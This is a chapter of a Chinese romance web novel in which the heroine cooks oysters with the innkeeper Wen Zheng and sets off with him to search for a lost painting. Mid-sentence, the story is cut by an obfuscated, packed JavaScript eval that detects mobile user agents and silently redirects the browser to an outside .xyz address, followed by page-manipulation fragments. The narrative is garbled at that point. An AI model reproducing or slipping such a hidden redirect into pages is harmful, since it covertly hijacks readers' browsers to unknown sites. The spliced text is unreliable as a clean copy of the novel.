夏棠跃抬头看去,穿着黑色冲锋衣的闻政不知何时来到了她身旁,衣服湿湿的,裤腿上沾着许砂砾,正低头看她。
“今天出去玩了吗?”他问。
夏棠跃点了点头:“嗯。”接着又说:“刚才借用了一下你们的微波炉。”
闻政睨着她,眼神晦暗如深海。
“身体不舒服应该好好休息,”
夏棠跃微微一怔。
他这话听起来怪怪的,好像是在责怪她不爱惜自己的身体。
“算了。”闻政低喃了一句,从餐厅离开消失在了走廊尽头。
夏棠跃一头雾水,继续安静吃饭。过了一会,门口传来拖沓的脚步声。
“哥,哥?”
好像是庄辰的声音。夏棠跃放下筷子向外张望,只见庄辰脚下摆着一个蓝色塑料筐,里面装着满满的生蚝。
“是你啊。”庄辰对着夏棠跃笑了笑,问她:“你见到我哥了吗?”
“他刚来过,不知道去哪里了。”
“噢……”庄辰想了想说:“应该是去换衣服了吧。”
庄辰是个手脚不便的残疾人,夏棠跃猜想他是要把这些生蚝搬进去。兄弟俩都对她照顾有加,她帮帮忙也是应该的,于是主动道:“我来帮你吧。”
说着,她撸起袖子弯下腰,正准备用力的时候,手背被人按住了。来人掌心温热,带着薄茧的粗糙触感。
沉稳的男声响起。
“我来。”
闻政换了一件短袖黑T,裤子也换了一条宽松的休闲裤。他轻轻松松就把箱子搬了起来,五步做三步地搬进了厨房。
暖呼的触感消失,如同蜻蜓点水一般,晃神的夏棠跃这时才留意到,外面停着辆皮卡车,同样装满生蚝的箱子还有好多。
“这些都是哪来的?”夏棠跃问。
庄辰擦了擦额头的汗珠,解释道:“台风把我表叔的生蚝养殖场掀了个底朝天,好多养殖笼都被冲散了。我们帮着收拾了一整天,这些是捡回来的部分。”
他指了指皮卡车后斗:“表叔说反正也卖不出去了,让我们随便拿。”
夏棠跃望着堆积如山的塑料箱,心想这哪是“随便拿”的分量,简直够开个海鲜大排档了。
闻政拎着两瓶矿泉水走过来,递给庄辰一瓶,对他说:“去洗澡换衣服吧,剩下的我来处理,顺便叫几个朋友把车上这些都分走。”
“好。”庄辰应了一声之后就离开了。
只剩下他们两个人。闻政率先打破沉默:“喜欢吃生蚝吗?”
“嗯?”
-
水槽前,闻政拿着生蚝一个一个撬开壳,夏棠跃接过来在水龙头下清洗残余的壳屑。
并肩站在一起,夏棠跃发现自己的身高只到闻政的肩膀。
看来网评说的真没错,他真的有188+,帅的很惊人,尤其是从侧面看他,轮廓在厨房暖黄的灯光下如同精心雕琢的剪影。高挺的鼻梁线条一路延伸至微抿的薄唇,喉结随着撬生蚝的动作上下滚动,在颈间投下一小片阴影。
“在看什么?”闻政突然转头,声音带着若有似无的笑意。
夏棠跃赶紧移开眼,燥热涌上脸颊,她假意抬手擦拭被溅到脸上的水渍,遮掩自己的窘迫。
她转移话题:“怎么不见早上那个女生?”
闻政把生蚝都处理好之后,接着开始剥蒜皮:“你是说钟韵?她回家了,因为要去帮表叔收拾生蚝场,所以请他女儿看一天店。”
其实夏棠跃不太关心这些,只是想找点话题聊聊。
她满心满脑都是寻找《蝴蝶照影》的事。
明天就是周四了,再没有消息的话,投资方就要撤资了。
一想到这些,她就觉得自己的肩膀有千斤重,手上也没了力气,脑袋耷拉了下来。
“在想什么?”
夏棠跃感知到闻政在看着她,她无奈地闭了闭眼,正想扯点什么搪塞过去时,忽然想起前天,他带着她轻车熟路从胜利街离开的那一幕。
他是不是对那个地方很熟悉?
或许可以找他打听一下?
“你对胜利街一带熟悉吗?”
“挺熟的。”
“那有个旧纺织厂仓库,你知道吗?”
“知道。”
“那里一直是纺织厂吗,有没有画室或者美术馆这些?”
闻政把蒜泥洗了洗之后沥干水分,开始起锅烧油做蒜蓉酱。听到夏棠跃的问题,他沉吟了片刻。
“胜利街是以前的老城区,后来政府重新规划之后那边就废弃了,在我的印象中,貌似是有个画廊……只是隔太久我也记不太清具体位置。”
微微燃起来的希望随着闻政的话落下帷幕。
夏棠跃的眼神灰暗下来。闻政侧目盯着她的表情,唇角勾起不明显的笑意:“不过,我可以陪你去那个地方看看,也许我会想起点什么。”
夏棠跃猛地抬起头,撞入闻政深邃的双眸。
找画一事虽然要秘密进行,避免走漏风声,但如果有闻政帮忙,也许真的能找到正确位置。看他的样子,应该对艺术品的研究不多,到时候找到了,他估计也不懂这些,她可以找借口把他支走,再把画运回去。
计划可行!
夏棠跃兴奋地眨了眨眼:“那你明天有空吗?我们一早就去?”
“可以。”
闻政背过身开始炒酱,夏棠跃把生蚝一个一个排列在烧烤架上。
诶?
好像有哪里不对劲。
夏棠跃终于反应了过来。
怎么突然变成他陪她去了?她明明没有这样要求啊,感觉好像被绕了进去……
烤生蚝配上蒜蓉酱,可谓是香飘十里。浓郁的蒜香混着海鲜特有的咸鲜在空气中弥漫。
手掌大小的生蚝,庄辰哐哐炫了一打。夏棠跃也吃了七八个,要不是她刚刚吃了点饭垫了垫肚子,她还能继续吃。
收拾残局的时候,夏棠跃刚撸起袖子还没来得及动手就被闻政挡了回去。
“不用你,休息去吧。”他高大的身影站在灯光下,阴影投向了她,低垂的睫毛在眼下拓出扇形的影子。
夏棠跃低头看了看桌面。庄辰手脚很快,把餐余都收拾进垃圾桶了,就剩洗碗,也没什么其他的了。
“好。”离开前,她对着闻政说:“你也早点休息。”
“嗯。”
回到客房。
夏棠跃又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501830|170377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
洗了个澡才躺进被窝。
许是忧虑的事情有了进展,心情舒散,她刚躺下没多久就睡着了。
她没有调闹钟,因为她以为自己睡眠很浅,会早醒。结果没想到这一睡竟到了11点。
夏棠跃几乎是被这个时间点震醒的,她不可置信地看了看手机屏幕,接着猛地坐起身。
完了完了!
她在干什么,竟然睡了这么久!画还没找到呢!
她急急忙忙地冲进卫生间洗漱,换衣服,对着镜子梳头。
对了,昨晚闻政说要陪她一起去,不知道现在人还在不在民宿。
她到床头柜拿起手机,给他发了条微信。
「不好意思,我睡过头了,你现在在民宿吗?」
等了会儿,消息没回复,夏棠跃便继续梳头,绑了个马尾。
手机响起,蓝熊头像发来消息。
「在。」
夏棠跃拎上包包来到一楼,庄辰坐在前台,没见到闻政。
她又到厨房转了一圈,没见到人,继续往走廊深处走,越过门廊,来到后院。
闻政站在花丛中央,手持工具调整篱笆的位置。
见到她来,他放下工具,洗了洗手。
夏棠跃:“你还要忙吗?”
“你来了就不忙。”
“?”
闻政越过她走上门廊,夏棠跃追上他的脚步,声音带上了一点急切:“那我们走吧。”
“急什么。”闻政慢悠悠的,眉眼舒展。
“先吃早饭吧。”他笑着打趣:“不对,应该是早午餐。”
他在餐桌坐下,把垫子上的瓦煲打开,香喷喷的焦香气息瞬间扑面而来——是牛肉煲仔饭。
夏棠跃原本是不饿的,但这么一搞,她的肚子还真响了起来,闻政给她递了双筷子。
“吃饱了再出发。”他说。
夏棠跃没再矫情,毕竟这趟出去还不知道多久能回来。
她吃着饭,没留意到闻政什么时候离开了。等她吃饱放下筷子,一身皮衣的闻政从外面进来,手里拿着头盔。
他示意夏棠跃站起来,把头盔往她头上套去:“试试看合不合适。”
夏棠跃伸手捧住头盔的两边,有些迷茫地对上了闻政的眼神,他轻轻一笑:“看我做什么,难道你想走着去?”
她跟着闻政来到外面,一辆看起来价格不菲的黑色机车就停在外面。
“戴上,出发了。”闻政给自己套上了头盔。
夏棠跃捣鼓着,一时没弄明白要怎么戴。闻政走近她面前,接过头盔,骨节分明的手指轻轻拨开调节带。
头盔笼罩下来的瞬间,夏棠跃能看到闻政专注的眼神。“咔嗒”一声,下颌处的卡扣被他精准扣紧,指尖在调节带上利落一扯,确保松紧适宜。
“好了。”他退后半步检查,黑色头盔衬得夏棠跃的脸只有巴掌大,他捧着头盔两侧摆正位置。
接着,他长腿一跨,利落地坐上摩托车,车身随着他的重量微微下沉,他偏头看向夏棠跃,示意她坐上来。
夏棠跃犹豫了一下,坐在了他身后。这是她第一次坐这种机车,以前只在网上看过类似的视频。
“怕?”